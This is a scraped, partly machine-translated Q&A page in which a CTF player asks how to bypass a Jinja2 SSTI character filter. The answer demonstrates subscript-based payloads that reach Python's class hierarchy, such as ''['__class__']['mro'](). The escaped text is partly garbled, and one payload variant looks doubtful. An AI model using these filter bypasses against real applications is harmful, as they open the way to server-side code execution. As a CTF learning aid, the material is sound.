Jinja2 SSTI过滤绕过

huangapple go评论71阅读模式
英文:

Jinja2 SSTI filter bypasses

问题

我正在参加一场夺旗赛(Capture The Flag,CTF),并试图利用一个易受Jinja2 服务器端模板注入(Server Side Template Injection,SSTI) 攻击的服务器。
我不能使用以下字符:\|,._
我试图编写以下命令:

{{''.class.mro()[1].subclasses()}}

有什么想法吗?

我尝试使用attr方法,但由于无法使用|.,我无法使用它。

英文:

I'm doing a Capture The Flag (CTF) and I'm trying to exploit a server vulnerable to Jinja2 Server Side Template Injection (SSTI).
I can't use the following characters: \, |, ,, . and _.
I'm trying to write the following command:

{{''.class.mro()[1].subclasses()}}

Any ideas?

I tried using the attr method, but I can't use it because of the limitation of using | and ..

答案1

得分: 3

以下是您要翻译的内容:

大部分您需要的内容可能在_"变量"章节中有解释,并在“实现”_说明中进一步解释:

除了标准的Python __getitem__ "下标" 语法 ([]),您还可以使用点 (.) 来访问变量的属性。

以下行代码执行相同操作:

{{ foo.bar }}
{{ foo['bar'] }}

来源: https://jinja.palletsprojects.com/en/3.1.x/templates/#variables

然后,稍后:

foo['bar'] 几乎与稍有不同的顺序相同:

  • 检查 foo 中是否有项 'bar' (foo.__getitem__('bar'))
  • 如果没有,检查 foo 上是否有名为 bar 的属性 (getattr(foo, 'bar'))
  • 如果没有,返回未定义对象。

来源: https://jinja.palletsprojects.com/en/3.1.x/templates/#notes-on-subscriptions

所以,如果我在Jinja环境中尝试这样的操作:

{{ ''['__class__']['mro']()[1] }}

我确实会得到 <class 'object'> 作为返回值。

在这里,我无法实现 ''['class'],但我可以使用 dict['class'] 来实现它:

{{ dict['class']['mro']()[1] }}

至于对 .subclasses() 方法的调用,不清楚它是来自您的示例实现还是其他地方。


测试环境:

├── jinja.py
└── templates
    └── template.html.j2

jinja.py:

from jinja2 import Environment, FileSystemLoader

environment = Environment(loader=FileSystemLoader('templates/'))
template = environment.get_template('template.html.j2')
print(template.render())

templates/template.html.j2:

{{ dict['class']['mro']()[1] }}

输出:

<class 'object'>
英文:

Most of what you need here is probably explained in the "Variables" chapter and further explained in the "Implementation" note:

> You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]).
>
> The following lines do the same thing:
> jinja
> {{ foo.bar }}
> {{ foo['bar'] }}
>

<sup>_Source: https://jinja.palletsprojects.com/en/3.1.x/templates/#variables_&lt;/sup>

Then, later:
> foo[&#39;bar&#39;] works mostly the same with a small difference in sequence:
>
> * check for an item &#39;bar&#39; in foo. (foo.__getitem__(&#39;bar&#39;))
> * if there is not, check for an attribute called bar on foo. (getattr(foo, &#39;bar&#39;))
> * if there is not, return an undefined object.

<sup>_Source: https://jinja.palletsprojects.com/en/3.1.x/templates/#notes-on-subscriptions_&lt;/sup>

So, if I try this kind of thing on a Jinja environment:

{{ &#39;&#39;[&#39;__class__&#39;][&#39;mro&#39;]()[1] }}

I do indeed get a &lt;class &#39;object&#39;&gt; as a return.

Here, I was not able to achieve &#39;&#39;[&#39;class&#39;], but I can achieve it using dict[&#39;class&#39;], on the other hand:

{{ dict[&#39;class&#39;][&#39;mro&#39;]()[1] }}

As for the call to the .subclasses() method, it is unclear if this comes from your example implementation or from somewhere else.


Testing environment:

├── jinja.py
└── templates
    └── template.html.j2

jinja.py:

from jinja2 import Environment, FileSystemLoader

environment = Environment(loader=FileSystemLoader(&#39;templates/&#39;))
template = environment.get_template(&#39;template.html.j2&#39;)
print(template.render())

templates/template.html.j2:

{{ dict[&#39;class&#39;][&#39;mro&#39;]()[1] }}

Output:

&lt;class &#39;object&#39;&gt;

huangapple
  • 本文由 发表于 2023年4月17日 18:43:54
  • 转载请务必保留本文链接:https://go.coder-hub.com/76034298.html
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

确定